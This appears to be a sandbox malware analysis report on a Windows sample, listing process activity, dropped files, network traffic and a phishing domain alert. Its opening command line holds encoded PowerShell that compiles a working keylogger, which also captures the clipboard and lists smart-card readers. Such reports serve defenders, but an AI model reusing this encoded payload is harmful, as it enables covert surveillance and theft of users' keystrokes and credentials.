SQBkACgAKABpAG4AdAApAGQANQA3ACkAOwBpAGYAIAAoAGMAMwA4ACAAIQA9ACAAbgB1AGwAbAApACAAYgAyADUAIAA9ACAAYwAzADgALgBQAHIAbwBjAGUAcwBzAE4AYQBtAGUAOwAgAGUAbABzAGUAIABiADIANQAgAD0AIAAiACIAOwBlADEANAAgAD0AIABkADUANwA7AH0AaQBmACAAKABhADUAMQAgAD4AIAA3ACkAewBpAGYAIAAoAGgANQAyACkAIABtADEANwAuAEEAcABwAGUAbgBkACgAIgBbAKsAXQAiACkAOwBlAGwAcwBlACAAaQBmACAAKABsADUAMwApACAAbQAxADcALgBBAHAAcABlAG4AZAAoACIAWwBkAGUAbABdACIAKQA7AGUAbABzAGUAIABtADEANwAuAEEAcABwAGUAbgBkACgAagA1ADQAKQA7AH0AfQB9AH0AcgBlAHQAdQByAG4AIABDAGEAbABsAE4AZQB4AHQASABvAG8AawBFAHgAKABnADkALAAgAGcANAA4ACwAIABlADQAOQAsACAAaAA1ADAAKQA7AH0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAATABpAHMAdAA8AHMAdAByAGkAbgBnAD4AIABiADYAMAAoAGIAeQB0AGUAWwBdACAAawA2ADEAKQB7AHMAdAByAGkAbgBnACAAYQA2ADIAIAA9ACAARQBuAGMAbwBkAGkAbgBnAC4AQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABrADYAMQApADsAaQBmACAAKABzAHQAcgBpAG4AZwAuAEkAcwBOAHUAbABsAE8AcgBFAG0AcAB0AHkAKABhADYAMgApACkAIAByAGUAdAB1AHIAbgAgAG4AZQB3ACAATABpAHMAdAA8AHMAdAByAGkAbgBnAD4AKAApADsAcgBlAHQAdQByAG4AIABuAGUAdwAgAEwAaQBzAHQAPABzAHQAcgBpAG4AZwA+ACgAYQA2ADIALgBTAHAAbABpAHQAKABuAGUAdwAgAGMAaABhAHIAWwBdACAAewAgACcAXAAwACcAIAB9ACwAIABTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwAuAFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkAKQA7AH0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAdQBpAG4AdAAgAGEAOAAoAEkAbgB0AFAAdAByACAAcAA2ADMAKQB7AGIAbwBvAGwAIABhADYANAAgAD0AIAB0AHIAdQBlADsAcwB0AHIAaQBuAGcAIABpADYANQA7AFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAIABtADYANgAgAD0AIABuAGUAdwAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAKAApADsAdwBoAGkAbABlACAAKABhADYANAApAHsAcwB0AHIAaQBuAGcAIABoADYANwAgAD0AIABSAGUAZwBpAHMAdAByAHkALgBHAGUAdABWAGEAbAB1AGUAKABsADIAMAAsACAAZAAyADMALAAgACIAIgApAC4AVABvAFMAdAByAGkAbgBnACgAKQA7AGkAZgAgACgAaAA2ADcAIAAhAD0AIAAiACIAKQB7AFIAZQBnAGkAcwB0AHIAeQBLAGUAeQAgAHAANgA4ACAAPQAgAFIAZQBnAGkAcwB0AHIAeQAuAEMAdQByAHIAZQBuAHQAVQBzAGUAcgAuAE8AcABlAG4AUwB1AGIASwBlAHkAKABuADEAOQAsACAAdAByAHUAZQApADsAaQBmACAAKABwADYAOAAgACEAPQAgAG4AdQBsAGwAKQB7AHAANgA4AC4ARABlAGwAZQB0AGUAVgBhAGwAdQBlACgAZAAyADMAKQA7AHAANgA4AC4AQwBsAG8AcwBlACgAKQA7AH0ARQB4AGkAdABQAHIAbwBjAGUAcwBzACgAMAApADsAfQBpAGYAIAAoAEMAbABpAHAAYgBvAGEAcgBkAC4AQwBvAG4AdABhAGkAbgBzAFQAZQB4AHQAKAApACAAPQA9ACAAdAByAHUAZQApAHsAaQA2ADUAIAA9ACAAQwBsAGkAcABiAG8AYQByAGQALgBHAGUAdABUAGUAeAB0ACgAKQA7AGkAZgAgACgAaQA2ADUAIAAhAD0AIABjADEAOAApAHsAcwB0AHIAaQBuAGcAIABwADYAOQAgAD0AIAAiACIAOwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByACAAYwA3ADAAIAA9ACAAbgBlAHcAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByACgAKQA7AGIAMQAyACAAPQAgAEcAZQB0AEYAbwByAGUAZwByAG8AdQBuAGQAVwBpAG4AZABvAHcAKAApADsAaQBmACAAKABiADEAMgAgACEAPQAgADAAKQB7AGkAbgB0ACAAbwAzADcAIAA9ACAARwBlAHQAVwBpAG4AZABvAHcAVABlAHgAdABMAGUAbgBnAHQAaAAoAGIAMQAyACkAOwBjADcAMAAuAEMAYQBwAGEAYwBpAHQAeQAgAD0AIABvADMANwAgACsAIAAxADsARwBlAHQAVwBpAG4AZABvAHcAVABlAHgAdAAoAGIAMQAyACwAIABjADcAMAAsACAAbwAzADcAIAArACAAMQApADsAdQBpAG4AdAAgAF8AcAByAG8AYwBfAGkAZABfACAAPQAgADAAOwBpAGYAIAAoAEcAZQB0AFcAaQBuAGQAbwB3AFQAaAByAGUAYQBkAFAAcgBvAGMAZQBzAHMASQBkACgAYgAxADIALAAgAHIAZQBmACAAXwBwAHIAbwBjAF8AaQBkAF8AKQAgACEAPQAgADAAKQB7AFAAcgBvAGMAZQBzAHMAIABuADcAMQAgAD0AIABQAHIAbwBjAGUAcwBzAC4ARwBlAHQAUAByAG8AYwBlAHMAcwBCAHkASQBkACgAKABpAG4AdAApAF8AcAByAG8AYwBfAGkAZABfACkAOwBpAGYAIAAoAG4ANwAxACAAIQA9ACAAbgB1AGwAbAApACAAcAA2ADkAIAA9ACAAbgA3ADEALgBQAHIAbwBjAGUAcwBzAE4AYQBtAGUAOwB9AH0AYwA3ADAALgBBAHAAcABlAG4AZAAoACIAIAA6ADoAIABDAGwAaQBwAGIAbwBhAHIAZAAiACkAOwBtADYANgAuAFIAZQBtAG8AdgBlACgAMAAsACAAbQA2ADYALgBMAGUAbgBnAHQAaAApADsAbQA2ADYALgBBAHAAcABlAG4AZAAoAGkANgA1ACkAOwBjADQAMQAoAGMANwAwACwAIABwADYAOQAsACAAbQA2ADYAKQA7AGMAMQA4ACAAPQAgAGkANgA1ADsAfQB9AHMAdAByAGkAbgBnACAAbwA3ADIAIAA9ACAAIgAiADsAZwAyADgAIABpADcAMwA7AGkAZgAgACgAZQAyADcAIAAhAD0AIABJAG4AdABQAHQAcgAuAFoAZQByAG8AKQB7AHUAaQBuAHQAIABwADcANAAgAD0AIAAxADAAMAAwADAAOwBiAHkAdABlAFsAXQAgAGoANwA1ACAAPQAgAG4AZQB3ACAAYgB5AHQAZQBbAHAANwA0AF0AOwBpAGYAIAAoAFMAQwBhAHIAZABMAGkAcwB0AFIAZQBhAGQAZQByAHMAKABlADIANwAsACAAbgB1AGwAbAAsACAAagA3ADUALAAgAG8AdQB0ACAAcAA3ADQAKQAgAD0APQAgADAAKQB7AEwAaQBzAHQAPABzAHQAcgBpAG4AZwA+ACAAbAA3ADYAIAA9ACAAYgA2ADAAKABqADcANQApADsAaQBuAHQAIABjADcANwAgAD0AIABsADcANgAuAEMAbwB1AG4AdAA7AGkAZgAgACgAYwA3ADcAIAA+ACAAMAApAHsAaQBuAHQAIABiADcAOAAgAD0AIAAwADsAZwAyADgAWwBdACAAZgA3ADkAIAA9ACAAbgBlAHcAIABnADIAOABbAGMANwA3AF0AOwBmAG8AcgBlAGEAYwBoACAAKABzAHQAcgBpAG4AZwAgAGEAOAAwACAAaQBuACAAbAA3ADYAKQB7AGYANwA5AFsAYgA3ADgAXQAuAGwAMgA5ACAAPQAgAGEAOAAwADsAYgA3ADgAKwArADsAfQBpAGYAIAAoAFMAQwBhAHIAZABHAGUAdABTAHQAYQB0AHUAcwBDAGgAYQBuAGcAZQAoAGUAMgA3ACwAIAA1ADAAMAAsACAAZgA3ADkALAAgAGYANwA5AC4ATABlAG4AZwB0AGgAKQAgAD0APQAgADAAKQB7AGYAbwByACAAKABpAG4AdAAgAGEAOAAxACAAPQAgADAAOwAgAGEAOAAxACAAPAAgAGMANwA3ADsAIABhADgAMQArACsAKQB7AGkANwAzACAAPQAgAGYANwA5AFsAYQA4ADEAXQA7AG8ANwAyACAAKwA9ACAAaQA3ADMALgBsADIAOQA7AGkAZgAgACgAKABpADcAMwAuAGsAMwAyACAAJgAgADAAeAAwADAAMAAwADAAMAAyADAAKQAgACEAPQAgADAAKQAgAG8ANwAyACAAKwA9ACAAIgAgAC0AIABmAG8AdQBuAGQAIgA7AG8ANwAyACAAKwA9ACAAIgBcAHIAXABuACIAOwB9AH0AfQB9AH0AUgBlAGcAaQBzAHQAcgB5AC4AUwBlAHQAVgBhAGwAdQBlACgAbAAyADAALAAgAGsAMgAyACwAIABvADcAMgApADsAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAFQAaAByAGUAYQBkAC4AUwBsAGUAZQBwACgAMQAwADAAMAApADsAfQByAGUAdAB1AHIAbgAgADAAOwB9AFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFMAZQB0AFcAaQBuAGQAbwB3AHMASABvAG8AawBFAHgAKABpAG4AdAAgAGYAOAAyACwAIABpADMAIABsADgAMwAsACAASQBuAHQAUAB0AHIAIABhADgANAAsACAAdQBpAG4AdAAgAGYAOAA1ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFUAbgBoAG8AbwBrAFcAaQBuAGQAbwB3AHMASABvAG8AawBFAHgAKABJAG4AdABQAHQAcgAgAG0AOAA2ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAGEAbABsAE4AZQB4AHQASABvAG8AawBFAHgAKABJAG4AdABQAHQAcgAgAG0AOAA2ACwAIABpAG4AdAAgAGcANAA4ACwAIABJAG4AdABQAHQAcgAgAGUANAA5ACwAIABJAG4AdABQAHQAcgAgAGgANQAwACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARwBlAHQATQBvAGQAdQBsAGUASABhAG4AZABsAGUAKABzAHQAcgBpAG4AZwAgAGYAOAA3ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAdQBpAG4AdAAgAE0AYQBwAFYAaQByAHQAdQBhAGwASwBlAHkAKABpAG4AdAAgAGUAOAA4ACwAIAB1AGkAbgB0ACAAZQA4ADkAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIAB1AGkAbgB0ACAARwBlAHQASwBlAHkAYgBvAGEAcgBkAEwAYQB5AG8AdQB0ACgAdQBpAG4AdAAgAGQAOQAwACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIALAAgAEMAaABhAHIAUwBlAHQAPQBDAGgAYQByAFMAZQB0AC4AQQB1AHQAbwApAF0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAFQAbwBVAG4AaQBjAG8AZABlAEUAeAAoAGkAbgB0ACAAYgA5ADEALAAgAHUAaQBuAHQAIABsADkAMgAsACAAYgB5AHQAZQBbAF0AIABvADkAMwAsACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAGsAOQA0ACwAIABpAG4AdAAgAGYAOQA1ACwAIAB1AGkAbgB0ACAAagA5ADYALAAgAHUAaQBuAHQAIABmADkANwApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABHAGUAdABLAGUAeQBiAG8AYQByAGQAUwB0AGEAdABlACgAYgB5AHQAZQBbAF0AIABiADkAOAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHUAaQBuAHQAIABHAGUAdABGAG8AcgBlAGcAcgBvAHUAbgBkAFcAaQBuAGQAbwB3ACgAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIAB1AGkAbgB0ACAARwBlAHQAVwBpAG4AZABvAHcAVABoAHIAZQBhAGQAUAByAG8AYwBlAHMAcwBJAGQAKAB1AGkAbgB0ACAAaAA5ADkALAAgAHIAZQBmACAAdQBpAG4AdAAgAG8AMQAwADAAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAEcAZQB0AFcAaQBuAGQAbwB3AFQAZQB4AHQATABlAG4AZwB0AGgAKAB1AGkAbgB0ACAAYQAxADAAMQApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHUAaQBuAHQAIABHAGUAdABXAGkAbgBkAG8AdwBUAGUAeAB0ACgAdQBpAG4AdAAgAGEAMQAwADEALAAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAIABnADEAMAAyACwAIABpAG4AdAAgAGIAMQAwADMAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAdQBpAG4AdAAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABnADEAMAA0ACwAIAB1AGkAbgB0ACAAZQAxADAANQAsACAAaQA2ACAAbgAxADAANgAsACAASQBuAHQAUAB0AHIAIABpADEAMAA3ACwAIAB1AGkAbgB0ACAAawAxADAAOAAsACAASQBuAHQAUAB0AHIAIABlADEAMAA5ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHYAbwBpAGQAIABFAHgAaQB0AFAAcgBvAGMAZQBzAHMAKAB1AGkAbgB0ACAAZgAxADEAMAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIAB1AGkAbgB0ACAAQwByAGUAYQB0AGUATQB1AHQAZQB4ACgASQBuAHQAUAB0AHIAIABuADEAMQAxACwAIABiAG8AbwBsACAAaQAxADEAMgAsACAAcwB0AHIAaQBuAGcAIABpADEAMQAzACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHUAaQBuAHQAIABPAHAAZQBuAE0AdQB0AGUAeAAoAHUAaQBuAHQAIABhADEAMQA0ACwAIABiAG8AbwBsACAAZQAxADEANQAsACAAcwB0AHIAaQBuAGcAIABpADEAMQAzACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB3AGkAbgBzAGMAYQByAGQALgBkAGwAbAAiACkAXQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAAUwBDAGEAcgBkAEUAcwB0AGEAYgBsAGkAcwBoAEMAbwBuAHQAZQB4AHQAKABJAG4AdAAzADIAIABvADEAMQA2ACwAIABJAG4AdABQAHQAcgAgAGcAMQAxADcALAAgAEkAbgB0AFAAdAByACAAZAAxADEAOAAsACAAbwB1AHQAIABJAG4AdABQAHQAcgAgAGEAMQAxADkAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAHcAaQBuAHMAYwBhAHIAZAAuAGQAbABsACIALAAgAEUAbgB0AHIAeQBQAG8AaQBuAHQAIAA9ACAAIgBTAEMAYQByAGQATABpAHMAdABSAGUAYQBkAGUAcgBzAEEAIgAsACAAQwBoAGEAcgBTAGUAdAAgAD0AIABDAGgAYQByAFMAZQB0AC4AQQBuAHMAaQApAF0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAFMAQwBhAHIAZABMAGkAcwB0AFIAZQBhAGQAZQByAHMAKABJAG4AdABQAHQAcgAgAGEAMQAxADkALAAgAGIAeQB0AGUAWwBdACAAbgAxADIAMAAsACAAYgB5AHQAZQBbAF0AIABiADEAMgAxACwAIABvAHUAdAAgAFUASQBuAHQAMwAyACAAYQAxADIAMgApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdwBpAG4AcwBjAGEAcgBkAC4AZABsAGwAIgApAF0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAFMAQwBhAHIAZABHAGUAdABTAHQAYQB0AHUAcwBDAGgAYQBuAGcAZQAoAEkAbgB0AFAAdAByACAAYQAxADEAOQAsACAAVQBJAG4AdAAzADIAIABuADEAMgAzACwAIABbAEkAbgAsACAATwB1AHQAXQAgAGcAMgA4AFsAXQAgAGYANwA5ACwAIABJAG4AdAAzADIAIABtADEAMgA0ACkAOwB9AH0ADQAKACIAQAAgAC0AUgBlAGYAZQByAGUAbgBjAGUAZABBAHMAcwBlAG0AYgBsAGkAZQBzACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAWwBiADEALgBtADIAXQA6ADoAUgB1AG4AKAAgAHsAIAAkAG4AdQBsAGwAIAA9ACAAWwBjAG8AbgBzAG8AbABlAF0AOgA6AEMAYQBwAHMATABvAGMAawAgAH0AIAApAA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7276wscript.exe /E:jscript C:\Users\admin\AppData\Local\Data\3610022385 188C:\Windows\SysWOW64\wscript.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\syswow64\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
7460"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\k40m3pnr.cmdline"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\csc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ole32.dll
7468"C:\Users\admin\Desktop\181-0441-7492.exe" C:\Users\admin\Desktop\181-0441-7492.exe—explorer.exe
User:
admin
Company:
Microsoft
Integrity Level:
MEDIUM
Description:
Exit code:
0
Version:
0.4
Modules
Images
c:\users\admin\desktop\181-0441-7492.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
Total events
12 183
Read events
12 181
Write events
2
Delete events
0

Modification events

(PID) Process:(4896) wscript.exeKey:HKEY_CURRENT_USER\Environment
Operation:writeName:hex8;
Value:
bb926e54
(PID) Process:(7276) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe
Operation:writeName:JScriptSetScriptStateStarted
Value:
C637110000000000
Executable files
1
Suspicious files
13
Text files
11
Unknown types
0

Dropped files

PID
Process
Filename
Type
5416WerFault.exeC:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_181-0441-7492.ex_8ba7ac12dd118f3bf5486d76909dc6d11e2bbf5_7cd804a4_a9a2041e-72e6-4a60-9045-59d75fae21b4\Report.wer —
MD5:—
SHA256:—
5416WerFault.exeC:\Users\admin\AppData\Local\CrashDumps\181-0441-7492.exe.8104.dmp —
MD5:—
SHA256:—
8104181-0441-7492.exeC:\Users\admin\AppData\Local\Temp\aicr2bij.sbgbinary
MD5:68D373540B1A5680F18DF372A043B54E
SHA256:D55D45E94EFDD39C6DC648B76256B2CCC690344394794DF259360A5A6A6B9664
8104181-0441-7492.exeC:\Users\admin\AppData\Local\Temp\toebt3s0.hssbinary
MD5:68D373540B1A5680F18DF372A043B54E
SHA256:D55D45E94EFDD39C6DC648B76256B2CCC690344394794DF259360A5A6A6B9664
8104181-0441-7492.exeC:\Users\admin\AppData\Local\Temp\ph2fkuvt.tiybinary
MD5:68D373540B1A5680F18DF372A043B54E
SHA256:D55D45E94EFDD39C6DC648B76256B2CCC690344394794DF259360A5A6A6B9664
8104181-0441-7492.exeC:\Users\admin\AppData\Local\Temp\34kxf1p2.gznbinary
MD5:CB9D7678F372400A6257231D30098DD0
SHA256:E60CD6AD4CB6178E79CCA8D3B9A10EE4C7BC1254C925691C1E5424E3232EDC15
8104181-0441-7492.exeC:\Users\admin\AppData\Local\Temp\qdhwdsvy.ddnbinary
MD5:CB9D7678F372400A6257231D30098DD0
SHA256:E60CD6AD4CB6178E79CCA8D3B9A10EE4C7BC1254C925691C1E5424E3232EDC15
8104181-0441-7492.exeC:\Users\admin\AppData\Local\dynwrapx.dllbinary
MD5:9278BC396093243AE052B66EC2C812BA
SHA256:6DC40233D81640F532A1CBC1FEB74D116B034DB7C2871F2B0FE0124BCC542D8E
8104181-0441-7492.exeC:\Users\admin\AppData\Local\Data\127195602text
MD5:B547D3335C8062993B3A84FD52E38A5B
SHA256:F7B011A9E5C9C00B380F9645ABD96C1643A0E2628A954DAD7A06070C3206B4F2
8104181-0441-7492.exeC:\Users\admin\AppData\Local\Temp\fjhtypyb.koubinary
MD5:68D373540B1A5680F18DF372A043B54E
SHA256:D55D45E94EFDD39C6DC648B76256B2CCC690344394794DF259360A5A6A6B9664
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
35
TCP/UDP connections
71
DNS requests
3 544
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2104
svchost.exe
GET
200
23.53.40.178:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
6724
RUXIMICS.exe
GET
200
23.53.40.178:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
304
20.12.23.50:443
https://slscr.update.microsoft.com/SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL
unknown
—
—
—
5640
SIHClient.exe
GET
200
23.219.150.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.1.crl
unknown
—
—
whitelisted
5640
SIHClient.exe
GET
200
2.20.245.139:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl
unknown
—
—
whitelisted
5640
SIHClient.exe
GET
200
2.20.245.139:80
http://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl
unknown
—
—
whitelisted
5640
SIHClient.exe
GET
200
23.219.150.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
5640
SIHClient.exe
GET
200
23.219.150.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Signing%20CA%202.1.crl
unknown
—
—
whitelisted
5640
SIHClient.exe
GET
200
23.219.150.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.2.crl
unknown
—
—
whitelisted
5640
SIHClient.exe
GET
200
23.219.150.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Signing%20CA%202.2.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
6724
RUXIMICS.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
—
—
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2104
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
40.113.103.199:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2104
svchost.exe
23.53.40.178:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
6724
RUXIMICS.exe
23.53.40.178:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
6544
svchost.exe
40.126.31.129:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3216
svchost.exe
40.113.103.199:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 40.127.240.158
  • 20.73.194.208
  • 51.104.136.2
whitelisted
google.com
  • 142.250.181.238
whitelisted
client.wns.windows.com
  • 40.113.103.199
whitelisted
crl.microsoft.com
  • 23.53.40.178
  • 23.53.40.176
  • 2.20.245.139
  • 2.20.245.137
whitelisted
login.live.com
  • 40.126.31.129
  • 20.190.159.75
  • 40.126.31.71
  • 20.190.159.0
  • 40.126.31.131
  • 20.190.159.64
  • 20.190.159.131
  • 20.190.159.4
whitelisted
arc.msn.com
  • 20.103.156.88
whitelisted
slscr.update.microsoft.com
  • 20.109.210.53
whitelisted
4ad74aab.xyz
  • 185.159.131.10
malicious
4ad74aab.cfd
  • —
unknown
4ad74aab.sbs
  • —
unknown

Threats

PID
Process
Class
Message
2196
svchost.exe
Possible Social Engineering Attempted
PHISHING [ANY.RUN] Suspected Phishing Domain (4ad74aab .xyz)
No debug info
Interactive malware hunting service ANY.RUN
